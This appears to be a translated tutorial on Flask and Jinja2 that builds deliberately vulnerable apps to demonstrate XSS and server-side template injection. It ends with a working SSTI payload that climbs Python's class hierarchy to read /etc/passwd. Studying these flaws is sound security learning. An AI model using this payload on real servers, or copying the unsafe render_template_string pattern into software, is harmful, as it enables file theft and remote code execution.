Article Directory
python template
- Python templates are Tornado, Flask, Django
- The template engine dynamically analyzes the template, replaces the variables passed into the template engine, and finally displays it to the customer
- SSTI server-side template injection is precisely because the code uses insecure string splicing to construct the template file and trusts the user's input too much.
Flask Jinja 2
- grammar
- {%……%} statement
- { {…}} Print template output expression
- {#…#} Notes
- #…##Line statement
Flask framework learning
routing
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "欢迎来到我的世界"
@app.route('/hello')
def hello():
return '我们的生活甜的像糖'
if __name__ == '__main__':
app.run()
@app.route('/') sets two routes to be'/''/hello'
@app.route() is an instantiated object of Flask, Flask uses a decorator to identify the URL path that the user needs to visit
- For example: the example given above
variable
<>Define the variable parameters of the route, <> needs a name.
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "欢迎来到我的世界"
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- operation result
Modification of the routing request method
@app.route('/',methods=['GET','POST'])
def index():
return "GET/POST"
Flask rendering
The template is to use the placeholder to express the dynamic part of the dynamic.
Rendering is to replace the real value obtained by the placeholder for the face represented by the placeholder, and finally return the final string
render_template() is used to render a specified file.
render_template_string( ) Is used to render a string.
- The SSTI vulnerability exists with the function render_template_string()
render_template()
- Create the following file
- templates: folder is used to store template files
- test1: is the running file of the flask framework
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = 'This is index page'
content = '我可以陪你去看星星'
return render_template('index.html',title = title,content = content)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>{
{title}}</h1>
<p>{
{content}}</p>
</body>
</html>
- operation result
Render_template_string()
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = '<h1>我可以陪你去看星星</h1>'
return render_template_string(title)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- operation result
Code block
- {%……%} The control code block can realize some logic functions, such as loops or conditions.
- { {…}} Variable code block
- {#…#} Notes
- #…##Line statement
SSTI first experience
- SSTI causes the RCE vulnerability to exist in the render_template_string() function
- Next, give a code example
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title') # get方式获取id
html="<h1>%s</h1>"%(title)
return render_template_string(html)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- We pass in?title=aaa
- Verify XSS
http://127.0.0.1:5000/index/?title=%3Cscript%3Evar%20current_day%20=%20new%20Date();var%20today%20=%20current_day.getTime();alert(today);%3C/script%3E
- Modify the code
from flask import Flask,url_for,redirect,render_template,render_template_string,request
from jinja2 import Template
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title','guest') # get方式获取id
t = Template("Hello" + title)
return t.render()
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- Verify SSTI injection
- This problem can be avoided. Here are the ways to avoid it
title = request.args.get('title', 'guest')
t = Template("Hello {
{n}}")
return t.render(n=title)
SSTI与RCE
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录
@app.route('/index/')
def index():
title = request.args.get('title') # get方式获取id
html="<p>%s</p>"%(title)
return render_template_string(html)
@app.route('/hello/<user_name>')
def hello(user_name):
return '%s,我们的生活甜的像糖'%user_name
if __name__ == '__main__':
app.run()
- In this environment, let's try SSTI and RCE execution
In jinja2, you can directly access some objects and methods in python
- base returns a class directly inherited by a class as a tuple
- mro returns the inheritance relationship chain as a tuple
- class returns the class to which the object belongs
- globals uses dict to return all variables in the namespace of the module where the function is located
- subclasses () returns the subclasses of the class as a list
- The initialization method of the init class
- Builtin built-in functions, some functions can be run directly in python, such as int(), list(), etc., these functions can be
- Inject it into the environment built by yourself
- 寻找基类
''.__class__.__base__
<class 'object'>
- 寻找可引用类
''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>
- payload:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{
% endif %}{
% endfor %}